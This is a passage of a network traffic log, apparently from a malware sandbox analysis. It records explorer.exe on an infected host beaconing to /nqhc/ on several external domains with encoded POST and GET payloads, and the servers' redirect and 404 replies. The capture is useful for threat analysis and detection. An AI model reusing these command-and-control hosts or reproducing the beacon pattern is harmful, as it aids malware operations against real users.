Dec 5, 2022 15:17:10.719192982 CET	11717	OUT	POST /nqhc/ HTTP/1.1 Host: www.funknive.ch Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.funknive.ch User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.funknive.ch/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 68 4e 41 6f 7a 4a 5a 58 6a 5a 4f 6b 78 4f 71 78 45 75 77 4a 46 78 76 79 42 78 65 6e 6b 71 51 53 59 6b 6f 63 6f 59 7e 4e 57 6f 76 30 64 6a 77 58 56 54 4c 56 31 45 48 33 57 70 39 4b 5a 57 69 59 43 32 74 7a 76 70 59 69 48 70 59 69 70 6e 33 73 54 46 78 42 57 41 63 73 64 6b 70 6f 44 5f 67 55 69 51 6a 30 61 45 70 6f 6b 4d 6a 71 4f 74 34 59 4f 51 28 36 4c 45 70 72 6e 49 49 73 47 39 39 59 6a 35 4e 45 35 62 4e 47 6f 49 6e 77 66 6d 6c 43 77 6b 72 61 36 38 76 34 37 78 53 65 39 48 43 53 73 52 61 48 69 78 55 31 73 5a 69 56 4c 62 76 34 54 5f 52 4e 70 4a 48 2d 57 32 55 67 73 53 57 49 35 61 44 49 51 71 37 36 58 79 52 50 41 61 67 59 34 74 61 57 7a 45 68 33 38 5f 58 62 31 37 66 69 75 4a 44 35 4a 66 37 65 6b 5a 79 32 53 62 36 30 6a 50 42 67 6d 69 4f 67 6e 36 46 59 62 63 6b 63 58 33 30 5f 37 5f 59 31 79 66 54 6f 62 77 36 31 68 47 28 37 74 62 6d 73 53 38 35 61 6a 55 50 4a 67 72 30 58 47 69 28 2d 63 6b 6d 76 33 64 42 69 4b 47 7a 37 74 49 62 35 43 74 49 63 5a 48 57 7a 71 77 66 4f 56 7a 46 61 63 38 45 59 32 30 41 4c 65 4a 51 76 61 46 64 72 79 34 37 4d 6b 6e 6a 49 55 52 33 41 78 4c 49 4c 4f 51 63 6b 67 42 68 6c 44 47 65 5a 79 77 44 6b 76 5a 49 64 61 30 6d 4f 6c 6e 4c 37 6b 30 6d 48 70 39 5a 59 42 4c 71 53 45 39 52 70 57 4b 50 6d 42 68 66 34 6d 34 31 6e 31 56 56 32 72 7a 70 52 66 53 7a 50 34 6b 58 58 50 57 73 33 59 50 71 58 67 75 66 55 6f 49 39 68 76 6d 69 41 5a 79 6c 41 74 6b 7e 45 30 38 7e 43 70 73 6a 6b 43 65 36 30 57 74 38 7a 59 37 30 4c 57 65 67 41 52 52 68 49 68 79 30 45 70 63 75 36 39 69 68 54 6c 5f 59 7a 67 59 36 41 59 34 36 6a 78 69 52 41 39 38 39 54 79 50 42 69 47 46 66 6a 62 45 36 54 52 53 7a 73 65 78 31 7a 53 63 41 67 6b 62 6e 4a 4d 53 68 5a 65 4d 39 32 76 58 56 46 4f 56 70 55 34 79 57 4d 32 6a 30 69 47 58 58 74 6c 55 5a 45 50 51 30 47 43 36 38 34 5a 74 36 53 6e 44 5a 32 7a 45 66 34 44 73 6a 30 53 4d 37 70 45 5a 49 52 6e 70 6b 49 50 4f 6a 68 6d 7a 73 53 32 62 48 57 63 70 36 6d 54 6e 61 77 67 56 61 35 5a 43 5a 4c 5a 5a 7a 74 4a 5a 4d 55 46 36 6b 43 4b 62 6c 2d 4a 57 37 52 55 6b 68 32 56 7a 5a 36 4a 47 55 77 4b 4f 54 4b 6d 4a 36 64 38 51 75 4b 35 42 42 7a 72 73 47 44 6e 4c 34 4a 66 5f 73 47 77 4a 66 76 36 69 54 31 49 47 34 31 7a 7a 7a 55 6a 34 56 39 65 73 57 54 71 36 49 67 31 76 63 58 32 31 41 39 6e 69 4c 74 4e 68 6e 7a 34 75 35 2d 6d 78 51 56 31 6a 4b 5a 5a 65 47 33 56 7a 62 63 74 4a 70 6e 4a 64 4a 68 78 4c 30 39 37 4c 41 79 45 6a 73 47 73 63 49 33 58 42 58 55 6a 6a 6a 68 48 5f 64 54 35 6b 4b 7a 52 72 6d 53 49 31 58 2d 71 4b 46 44 4b 71 74 48 33 66 41 73 4f 74 71 72 6c 48 7a 34 33 4b 79 4e 41 44 7a 37 47 33 67 4e 54 79 76 79 6d 37 6f 67 54 54 6b 72 78 55 75 70 69 41 33 7a 36 49 6b 7a 34 63 69 64 38 4e 71 31 71 71 53 38 6b 4b 51 58 45 4d 68 34 36 39 53 38 64 4d 46 43 4c 62 36 5a 62 66 28 4e 50 50 76 52 62 33 55 35 4e 30 58 4b 50 74 64 63 5a 4b 33 42 51 38 49 33 37 6d 4a 57 51 47 32 6a 6e 65 7e 33 70 6e 39 74 4a 71 43 47 34 6b 55 50 76 6e 79 51 37 37 34 4a 34 68 47 43 78 41 7a 68 6b 5a 31 49 33 39 67 47 63 65 74 42 47 49 68 2d 73 79 59 49 43 37 41 73 72 4a 65 33 43 43 38 6b 6b 4a 50 6a 59 6b 70 78 52 4b 53 67 7e 4f 28 46 76 70 45 71 31 6a 59 6a 4d 41 4d 49 76 70 36 33 78 31 34 47 7e 32 55 31 7e 61 6f 57 63 6f 33 39 53 64 53 6b 39 62 39 37 77 66 76 6a 4c 42 74 61 67 57 64 38 72 5f 52 78 6b 4f 6b 32 4e 5f 4a 78 62 7a 49 6c 34 43 67 5a 4c 6e 70 51 56 74 34 49 39 64 4e 54 79 32 6f 4a 49 4b 56 46 48 5a 51 34 78 46 75 47 32 49 64 50 46 63 57 50 41 61 72 72 75 6e 4b 4d 43 44 32 38 5a 76 6f 41 34 38 37 37 39 5a 63 43 75 4d 6c 55 33 46 51 33 6f 56 32 59 46 33 58 34 33 52 38 44 79 74 52 39 4f 55 62 79 63 65 4f 64 4e 44 56 44 73 64 53 64 67 4f 4e 57 76 48 67 77 65 53 44 32 47 6a 67 77 73 75 43 4a 43 61 36 62 38 61 6f 6a 36 50 4e 43 78 4b 7e 4e 72 69 33 73 32 56 6d 6c 7e 50 73 32 4d 33 70 72 69 70 54 74 43 71 54 51 46 50 65 41 57 41 36 6b 48 71 7e 6e 47 44 75 6f 38 59 32 38 74 66 67 51 6c 5f 30 77 54 4c 39 78 6a 78 34 36 71 63 31 41 37 55 45 52 37 62 38 4b 7e 78 72 38 50 65 70 76 69 64 56 57 67 31 35 52 6f 72 75 38 63 36 64 73 6b 33 72 42 56 4f 52 66 65 4b 66 75 46 38 5a 61 50 65 4c 75 76 31 48 59 57 5a 6d 61 4b 6f 36 66 28 Data Ascii: 7nWHV=hNAozJZXjZOkxOqxEuwJFxvyBxenkqQSYkocoY~NWov0djwXVTLV1EH3Wp9KZWiYC2tzvpYiHpYipn3sTFxBWAcsdkpoD_gUiQj0aEpokMjqOt4YOQ(6LEprnIIsG99Yj5NE5bNGoInwfmlCwkra68v47xSe9HCSsRaHixU1sZiVLbv4T_RNpJH-W2UgsSWI5aDIQq76XyRPAagY4taWzEh38_Xb17fiuJD5Jf7ekZy2Sb60jPBgmiOgn6FYbckcX30_7_Y1yfTobw61hG(7tbmsS85ajUPJgr0XGi(-ckmv3dBiKGz7tIb5CtIcZHWzqwfOVzFac8EY20ALeJQvaFdry47MknjIUR3AxLILOQckgBhlDGeZywDkvZIda0mOlnL7k0mHp9ZYBLqSE9RpWKPmBhf4m41n1VV2rzpRfSzP4kXXPWs3YPqXgufUoI9hvmiAZylAtk~E08~CpsjkCe60Wt8zY70LWegARRhIhy0Epcu69ihTl_YzgY6AY46jxiRA989TyPBiGFfjbE6TRSzsex1zScAgkbnJMShZeM92vXVFOVpU4yWM2j0iGXXtlUZEPQ0GC684Zt6SnDZ2zEf4Dsj0SM7pEZIRnpkIPOjhmzsS2bHWcp6mTnawgVa5ZCZLZZztJZMUF6kCKbl-JW7RUkh2VzZ6JGUwKOTKmJ6d8QuK5BBzrsGDnL4Jf_sGwJfv6iT1IG41zzzUj4V9esWTq6Ig1vcX21A9niLtNhnz4u5-mxQV1jKZZeG3VzbctJpnJdJhxL097LAyEjsGscI3XBXUjjjhH_dT5kKzRrmSI1X-qKFDKqtH3fAsOtqrlHz43KyNADz7G3gNTyvym7ogTTkrxUupiA3z6Ikz4cid8Nq1qqS8kKQXEMh469S8dMFCLb6Zbf(NPPvRb3U5N0XKPtdcZK3BQ8I37mJWQG2jne~3pn9tJqCG4kUPvnyQ774J4hGCxAzhkZ1I39gGcetBGIh-syYIC7AsrJe3CC8kkJPjYkpxRKSg~O(FvpEq1jYjMAMIvp63x14G~2U1~aoWco39SdSk9b97wfvjLBtagWd8r_RxkOk2N_JxbzIl4CgZLnpQVt4I9dNTy2oJIKVFHZQ4xFuG2IdPFcWPAarrunKMCD28ZvoA48779ZcCuMlU3FQ3oV2YF3X43R8DytR9OUbyceOdNDVDsdSdgONWvHgweSD2GjgwsuCJCa6b8aoj6PNCxK~Nri3s2Vml~Ps2M3pripTtCqTQFPeAWA6kHq~nGDuo8Y28tfgQl_0wTL9xjx46qc1A7UER7b8K~xr8PepvidVWg15Roru8c6dsk3rBVORfeKfuF8ZaPeLuv1HYWZmaKo6f(iuhUypgaILhRQf3aIGBg5fgE-bZMxILiEeD8Xl0tKUSFvh6EMHnYNUhTA4Ko4bMLqxsRSUNinQyN72UEqCHahjW5JTyy0uclxEari(Fy0aXpxFMSJgv0SKil7ciWT~8r5r76MI3~Cgbfqo5Nzh1wcR744U5Xq9CyT2OD8fE4B8colbBJKzxWtYFr2xba4u5ET(EIT8Q3G5fLk4kNoiNfCu9rMy35NsAdczDfwxBw36KMBahU_g3iPveECkKjX4lX1oFtmZbEmZLVk(Hx0q5B44HAHie(SGoyvMzIU8zXunJuQcnyx6sfuH5~vX0GWLVjgatLpzHUU9tFtGCFg1AH_xjGxw-I310ZNlb0IPQ~C7093r72TpUTSlwwf(NsXmKTX61lIxJfbQSlRvrtO78yepQJdKlnjJpmKlZ7cZ4NYn6qWZUYul5RgqUcOi_TZt_eHVQ4TISF8mlOgHXgvgIHtCUTu~zuMcdZxmr5d43L5v57_Y64fL7Yw24TZbvGQ77bg013t2BM5utwx5Va2iY1_b6Jp7TmOSrQSc4fklQY0W-6mF-OCarAQ66HfAlT1lkHdbJSN2KZZPNAx~3lCgSohzVE54pff9aJx~EcadOw03oHAclN_~K97A6~u8lGCJO(Nm5g59CY2QuX8k7~XPdf3VYr41cPfwi5wJg3Z837j8exMDAW2v-3W2dGcQ9v6xJovA9V_X9TW~zDSUWfwqgkQlEHPLsgCQfpTo3vq(1cCCeEAF9oFCn69fN5HcyAyXjkgfWGwSIgT1iRFnSC8~eRnh1JK1zIw0ZBgpyRGvuDl2JHI4Ns5RgoG~-jhHxj5(V9YdIj2gzhXrS61wbPRfhjy9njakz8MZvhVcxZgRm(wmBwh3ndMvChTCGPoWAGew_B962BvzgT2oIO9nCsInhX-nP(OLz5Jrh51Qng91q9RX3f3MabEez~SVrxu7xa2sz9uB-441j(0JzdqjwW7501SG_CLBc22a8bTtgXBhjc8L7YdJCmWUCgarQTwuKxlsK1otHjaA-K0pjyHcZDe4QiNuVv0LWn60R91yVMLCdRqvxwoVGr5MLj9mRQ3JQuYXWZtg01YcXncGueQOSxCqCHVz2LxWnDAPGxZrI~z9JFQISoqv-QpO1IVjwkJQJ~V(_m6H5K10PmzoJJpCB(MVUqnC-ZIMaz5k-SvvtJ6NFUxgyZjI8gVNcjpJ1M7M4yyojYtyhVgzjhKlhf9A2Ffr6zCdRxmTb(7OdFQaxvhswOhxuVTfyvaWR3WKnx7liCLeRBiZPnoKHhSfHnKjlc2TAIxVczAOZUxcmtfrD~6whS5UgDU1JbYIyL19U3S35qRDBR_w2RuwI1ESQMB~htG5IyfgGQejang1TdQTgS8f6Sa44VMnEpH8-T6CWOFVZ5TQIIc72lLUP1sjPP_it9VHyrrDIApQu~hIyQnZlyYaQz4n-QEM4I07VapbCYE9WGAvjIEKWDJkdFLILt_Epj5g_N7PGUP~BPkOMQGfpmU(FP-QZEczIY8YnbL8pIMSv9yCOv0Ng2H~CugxtuBlOD5l4mQ9PLsMS(SrywV9Yj41CqEdbO7A1MI4dvQge9fTZTm1chNjuD2BZ88xF3E(OhyexUB(qIeTMGEtNwEWbOFu2zpqLAfaPqS0xgDr6vbZzI_RSrLRUivRSzG8gmPCuAZlpOSbL0c9CtW7ET-8hQC3_RayeSkBtHTNjuW~cbd8cD5IfvPRdLjX8CwHXukgnkVzD5dAvAlJfzKHCn1KgwFZbgVnvMKvrlLlHUKtU(AaI1WFDrc9KArq-GaWB3r0FtY(qBH6Eknv7kh6TNSe7O9BIutQ5BHjgWBqTVEWmRB9REg0rFpLhC6eByAG7iL8JBK8008lrMDCMCRRzsSYxo-EuePjy4xAvnOu1o6pck4r1Q_AenYgRDKrLjCBVzwTKL4NL0EjzBqEvr8ZLaCYlk6xQpezj9ER74O4GD7~j8YCZt8JffATutZqCuSXmj34CVdT91F4vzXTnWYdKTXOt1CYjFePtmDzMKsXeZbippRtDdjTatt75bsuO9VCWMUqcPbGVOq3BG_jWJN2iecnPB1Rrfl4SM78K~1AIJY2iBwbpWamI~oDvAXG4ywoFG3ECiIUBWS0jVX4VveqDyD5JX9G2srQn9iwf0H1ju_2vrzMzfLSxTHGYP1HvfJOlFcSrHebXsXYZkT7gC4P5kWqhzmeJAE(o3cwj1mlkZij4L0PWjI17MlSC4lEW4pLTbbYaVSR4fnkIj3RDjKg_vqJnlcCPoPavldNmSng-TnLDwpNVs34s9C2HggWoa8SI7fBNTUAmSlx-cJeihFpYnOYoMNLzOVNuMpCquiAdlPKMoI2ZZ2N9ANNVooEo2lcVem5YqkjPWnv9hjY4PLq5eGEFbX2lkiAglqm6097NUklL5RwSKE4224n-pQR9Re0R5lBG2E9TEpq7Uw4zLxz-rGQcEdQmoDenjtNIqW17kCty~4PeNN9UoFK0Y-CQZs5WflhK5hPomwcYMloiZVCsZdBPiW4sq2P5tayT1qZ5oXw0aQqJp4b6Y-k9Gk2WJcJI2Yu_uakRS1NqD4WPHWbyjV5BTzbnbltZC2wg5vDVtt858a8Jlelj0Fx-73HdbIZSLvYcKlAdROqtEC3lozBfftnsUSrwGyXglv9exPEy3nY875jcexE2~IArh4wkjv4j8TN2KFDmJPEple4tISsNIJJ7
Dec 5, 2022 15:17:10.719279051 CET	11723	OUT	Data Raw: 63 48 65 53 4c 51 4c 38 48 49 42 34 52 51 76 76 48 4b 52 63 39 7e 39 36 66 61 39 7e 51 44 55 43 2d 6f 38 76 46 36 67 28 52 48 6d 6f 32 62 6e 39 6d 75 7a 62 52 6b 6e 52 61 51 6a 69 58 77 5f 75 5f 45 52 59 5a 4e 45 62 45 72 63 37 64 4b 61 64 61 6b Data Ascii: cHeSLQL8HIB4RQvvHKRc9~96fa9~QDUC-o8vF6g(RHmo2bn9muzbRknRaQjiXw_u_ERYZNEbErc7dKadakUDbRncF1MKndxcvMtheZh4Cae4fwZTR(-NB6_X9hA472VwDN7MPKCDx8crig7Cd(EB1vvVHctTrAFyfuFoC~Q9C8pqN3Gimv8w6vKwcCnvx2KmdRFXUrfKqgH~HWo4KgwI4pp2TLMuNDh~_Zk7F8O2xcOoEQN2vFY
Dec 5, 2022 15:17:10.736150026 CET	11723	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Dec 2022 14:17:10 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.funknive.ch/nqhc/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Dec 5, 2022 15:17:10.736351967 CET	11726	OUT	Data Raw: 33 72 48 32 64 7a 44 32 4a 65 32 64 64 4b 62 52 6e 31 78 51 65 67 68 58 58 66 51 43 62 75 65 73 45 48 42 6d 65 4d 6a 4f 5a 67 5f 78 53 71 52 32 65 58 79 72 33 63 32 6a 77 36 35 31 33 6f 66 78 76 4c 77 47 64 30 70 54 30 4e 45 41 2d 5a 69 35 39 69 Data Ascii: 3rH2dzD2Je2ddKbRn1xQeghXXfQCbuesEHBmeMjOZg_xSqR2eXyr3c2jw6513ofxvLwGd0pT0NEA-Zi59iRJViJqsAinEnaWKnnL0ba~WvG52RVqc~YC6kQbYiYB8ljI93DJ4NkZbzPV2MEqZaWgn2Rq8bDpQ(0XCKERROpdYVn6tzCLREqn9a9kNy6KNh7lYFbutuGdlzeBbM3OP~JOxHruJcer5tcvATffDieCFegU3nax1ff
Dec 5, 2022 15:17:10.736454964 CET	11730	OUT	Data Raw: 6d 75 4b 4a 50 34 30 6f 50 74 66 78 56 7e 6f 31 66 55 30 31 44 74 76 6e 51 45 4e 35 6d 52 5f 4e 48 6f 2d 38 35 4b 72 42 68 63 72 56 68 30 78 6f 39 70 45 42 34 54 4d 32 33 64 5a 47 56 77 79 77 37 4a 6d 69 67 30 42 52 47 28 30 34 43 57 74 32 2d 32 Data Ascii: muKJP40oPtfxV~o1fU01DtvnQEN5mR_NHo-85KrBhcrVh0xo9pEB4TM23dZGVwyw7Jmig0BRG(04CWt2-2L8erVZbgdhhi3(TKdvpkvJECcwPjEcSZSU2RmOPe4(4D8lG2WqIhwWt6Q5sqVJjMgmkL9EA7FVcdjCduzvwZdrz49bNv0SD7Ksj(FJ0AUVzluGwKH4FPV2FsrtQ71(7sqn6E_jK~ekGqJLcmOCmsMAGgbMscSiA~a
Dec 5, 2022 15:17:10.736517906 CET	11736	OUT	Data Raw: 39 78 42 28 53 43 4f 66 77 50 38 57 6a 45 78 61 43 4f 61 66 43 45 47 67 6b 28 57 51 49 5a 69 4b 43 72 63 35 67 6d 74 71 69 50 6f 63 7a 54 36 67 46 73 72 6f 37 7e 6a 5a 42 59 5f 74 5f 6d 74 7e 4d 62 44 72 74 54 2d 71 52 70 57 43 31 32 66 53 78 58 Data Ascii: 9xB(SCOfwP8WjExaCOafCEGgk(WQIZiKCrc5gmtqiPoczT6gFsro7~jZBY_t_mt~MbDrtT-qRpWC12fSxXz3IHD8EscmYdFeerO5fCNX0i0A59bKAaQhu4V(KxmhpkHEN1m0S~CI1KAj_wq2wM77LkyjXgI7IGI1IRq(DFT~axRwcMiMD7TLGk9XSBvF_S9fwg4dkTiODfXjrsIQhQsi74IXhx_wo4wwCcxOapdfRiAkvm5XIBh
Dec 5, 2022 15:17:10.736862898 CET	11741	OUT	Data Raw: 36 28 63 59 4c 70 39 65 47 54 46 41 31 43 4f 4e 47 73 49 59 45 35 45 41 58 55 45 6b 56 38 38 50 53 5a 78 33 41 32 51 57 34 78 45 66 33 35 4c 42 66 73 5a 79 45 32 78 48 72 49 6b 38 77 57 79 6f 6c 34 46 63 7a 72 32 67 56 44 49 70 61 49 42 72 58 41 Data Ascii: 6(cYLp9eGTFA1CONGsIYE5EAXUEkV88PSZx3A2QW4xEf35LBfsZyE2xHrIk8wWyol4Fczr2gVDIpaIBrXAu9pREt1VI3oeGMv1_QPEJpvUi48rwjIwK(F(rt5JbdkuoInW4DDr-nZJuXFN7NgdOpGHnkGo26s45tDuAnNAsGz(tl5RW0nPodjgXikaf4hoHG8cgJ6Vk6B6FtIOvdSgR8N0PPe0DP560OL(0M7e_~ipSZWpwM1ze
Dec 5, 2022 15:17:10.737035990 CET	11749	OUT	Data Raw: 52 46 75 7a 7a 68 36 6a 2d 55 36 69 72 6b 57 39 42 77 31 45 61 31 31 43 42 63 71 62 62 58 4e 32 35 62 62 6d 69 4f 69 47 66 6b 74 54 78 78 41 59 57 6d 6a 56 31 63 4d 63 6a 28 4c 56 55 30 43 65 6e 4a 35 6d 66 64 32 6e 4b 36 7a 6b 69 4d 78 58 31 4f Data Ascii: RFuzzh6j-U6irkW9Bw1Ea11CBcqbbXN25bbmiOiGfktTxxAYWmjV1cMcj(LVU0CenJ5mfd2nK6zkiMxX1OJha4_pk1k5fzUsHc5pCZGLe5fo8VLAd269PUlDARMG37W7Ud8mmDCLJaVR7usHihU8muAZGUPjXxTjI1Vyv195Fd_w2aZt8hfDWldzJ~2vEOqDYI4ecaF91neF1dIeL3eh-cdWpF5nZxig3m1aTz4FZSrW9UIuWl8
Dec 5, 2022 15:17:10.753657103 CET	11753	OUT	Data Raw: 5f 69 49 36 31 36 35 4b 62 6b 4d 4e 66 46 37 31 4a 65 51 76 37 7a 53 65 67 4a 38 77 6c 4a 39 54 57 68 63 53 63 28 33 74 42 63 37 71 46 69 7a 33 63 6b 48 69 53 68 6f 6a 6b 75 36 46 36 62 53 36 46 4b 33 36 6a 57 75 38 37 79 42 71 7a 38 53 4d 50 28 Data Ascii: _iI6165KbkMNfF71JeQv7zSegJ8wlJ9TWhcSc(3tBc7qFiz3ckHiShojku6F6bS6FK36jWu87yBqz8SMP(KJgxsNPET1Q9ynE7s1x0HrizY0h~vyHWPRHX7N20Bt7IKVa6i4PXt2AEym_FZ6A(MhYy2xVRsF0hAu_mZ1HNwO47HF7O_m3lCxdn4(y718n6-x2W64JWK2HO9ljW-sTSXxHMlM3zYJLciWs71N2nqKKnRyLVubtKc
Dec 5, 2022 15:17:10.753758907 CET	11754	OUT	Data Raw: 37 61 4d 49 6b 35 59 64 74 48 36 4d 57 44 4a 6c 61 4f 39 57 43 48 52 75 7a 44 71 6b 65 74 7a 6b 75 41 65 53 4e 39 45 78 74 36 43 36 50 78 7a 63 4d 37 70 6a 4c 6a 67 70 44 4c 35 61 70 6a 34 67 75 44 58 59 58 59 4d 6c 31 69 32 75 63 74 42 65 4a 32 Data Ascii: 7aMIk5YdtH6MWDJlaO9WCHRuzDqketzkuAeSN9Ext6C6PxzcM7pjLjgpDL5apj4guDXYXYMl1i2uctBeJ2vrl5pYT2E6XjT(rO5t61rp4p2e16RqSdkF-NaE7HSpWyVQm9MdGnCeX4BCRgs5keDO8vXCJFrbOhF6VVS5cUOMe~3Tc~MiN2BGhyT5oGa(LSNxXU6toOPYskvErnHO0XlVUbaV08pBOeDPU(OOnzPI7BYPS~o7JSL
Dec 5, 2022 15:17:10.753804922 CET	11758	OUT	Data Raw: 6a 75 48 32 39 55 58 6a 34 59 58 75 55 57 78 79 33 52 33 4c 54 35 56 4e 43 75 32 4d 6e 39 6a 54 53 6a 7a 52 57 79 70 30 5a 64 59 42 30 36 38 49 52 55 77 37 49 76 6e 6a 34 6f 4f 6f 59 43 52 49 70 61 32 46 71 34 54 66 76 28 72 7e 76 79 37 4e 6e 6b Data Ascii: juH29UXj4YXuUWxy3R3LT5VNCu2Mn9jTSjzRWyp0ZdYB068IRUw7Ivnj4oOoYCRIpa2Fq4Tfv(r~vy7NnkzsWmsL07L8fcHp1y4be2K1156P7F4q724JkAPuhmKW0S8iIbwnmAjN7kTmhzch2P4X9eSkebHNpc_38ltZrlansy2Pw8q1DJkWMgJBXtTOOGf0Pob2e(QxD4SBOWI1mzSnpx9Q05MNmwcgdEUdza8KDG4GhXd5RKr
Dec 5, 2022 15:17:10.753983021 CET	11763	OUT	Data Raw: 67 77 56 38 2d 6e 77 69 54 45 77 36 72 61 62 76 6c 50 67 63 34 55 42 35 79 41 64 4e 33 6f 37 37 73 5a 6b 32 73 64 6f 6b 78 67 33 6f 50 6b 79 45 6a 6e 76 42 4f 76 34 42 71 49 70 34 63 71 38 36 70 74 48 70 6f 6e 44 35 33 31 51 6f 51 65 39 77 50 71 Data Ascii: gwV8-nwiTEw6rabvlPgc4UB5yAdN3o77sZk2sdokxg3oPkyEjnvBOv4BqIp4cq86ptHponD531QoQe9wPq9Z9UxK_9lLLJVua9zaAYkes30MUsJHa8ftjNlG1LHWt5K0AqNfTTrS-Nn0ilwlsyezSDRy3mtvcFm0dBdsYI1igw_N9YJQukLhgWNrbLtbYPgQl7pwAK7PNnYYrqLHqUp2zSj0OE5KA55BT07tKuGDoHady955ImR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.11.20	49883	185.101.158.239	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:12.752525091 CET	11764	OUT	GET /nqhc/?7nWHV=sPoIw5t6pqr53t/oApVsYQPYeQSIkYstTEU7jq7wUoyBdiYMXjDOpQvDe6hGJRv5cGRC4OofJ74gnHLDZXk1GBAfNVZPB7Yr2A==&t0D=yFNHS0IX HTTP/1.1 Host: www.funknive.ch Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:17:12.769244909 CET	11764	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Dec 2022 14:17:12 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.funknive.ch/nqhc/?7nWHV=sPoIw5t6pqr53t/oApVsYQPYeQSIkYstTEU7jq7wUoyBdiYMXjDOpQvDe6hGJRv5cGRC4OofJ74gnHLDZXk1GBAfNVZPB7Yr2A==&t0D=yFNHS0IX Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.11.20	49885	50.87.192.144	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:26.448947906 CET	11772	OUT	POST /nqhc/ HTTP/1.1 Host: www.xn--29-oj9ik7b890b.net Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.xn--29-oj9ik7b890b.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xn--29-oj9ik7b890b.net/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 56 72 70 38 63 62 49 45 70 59 55 42 65 6b 59 75 6a 4a 7e 35 6c 71 64 30 52 6b 4d 59 64 4c 28 34 4e 50 69 44 54 33 55 41 44 4b 7e 33 45 44 73 37 6c 6a 74 4e 65 36 28 6d 77 56 61 51 53 51 59 35 4d 32 77 6e 56 6a 56 31 78 61 66 53 6e 6b 65 71 31 4e 50 55 50 43 47 79 36 77 45 39 69 78 5a 4b 4c 6e 51 42 7e 59 6e 7a 48 77 69 67 57 42 35 57 72 67 68 71 50 65 68 34 4e 42 63 31 70 57 4c 57 47 64 65 39 34 44 66 76 77 68 69 54 45 38 4d 54 49 41 45 4b 52 39 72 78 59 6f 62 6e 33 61 6b 2d 7a 78 4e 57 55 72 53 50 79 7a 5a 44 77 57 4a 43 51 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=Vrp8cbIEpYUBekYujJ~5lqd0RkMYdL(4NPiDT3UADK~3EDs7ljtNe6(mwVaQSQY5M2wnVjV1xafSnkeq1NPUPCGy6wE9ixZKLnQB~YnzHwigWB5WrghqPeh4NBc1pWLWGde94DfvwhiTE8MTIAEKR9rxYobn3ak-zxNWUrSPyzZDwWJCQA).
Dec 5, 2022 15:17:26.825609922 CET	11774	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:17:26 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://xn--299aa717y.xn--3e0b707e/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 11649 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6d 8f ec c8 75 de 67 cd af a8 db 8b dd 99 96 ba d8 24 fb bd 7b 7a 64 ed 6a b5 16 a2 b5 85 bd 2b 1b 81 56 b8 a8 26 0f c9 da 29 56 d1 c5 e2 74 f7 8e 07 10 10 c7 f0 1b 9c 04 96 61 23 90 02 1b 88 e1 04 f9 22 24 0a a0 0f 49 7e 90 f6 ea 3f e4 14 d9 ef c3 9e e9 3b f7 5e 19 89 76 5e 48 d6 a9 73 9e f3 9c e7 3c 97 cf be fd fb 1f 7c fa af bf ff 21 49 4c 2a ae ce 2e ed 8b 08 26 e3 69 e3 5a d1 7f f5 49 c3 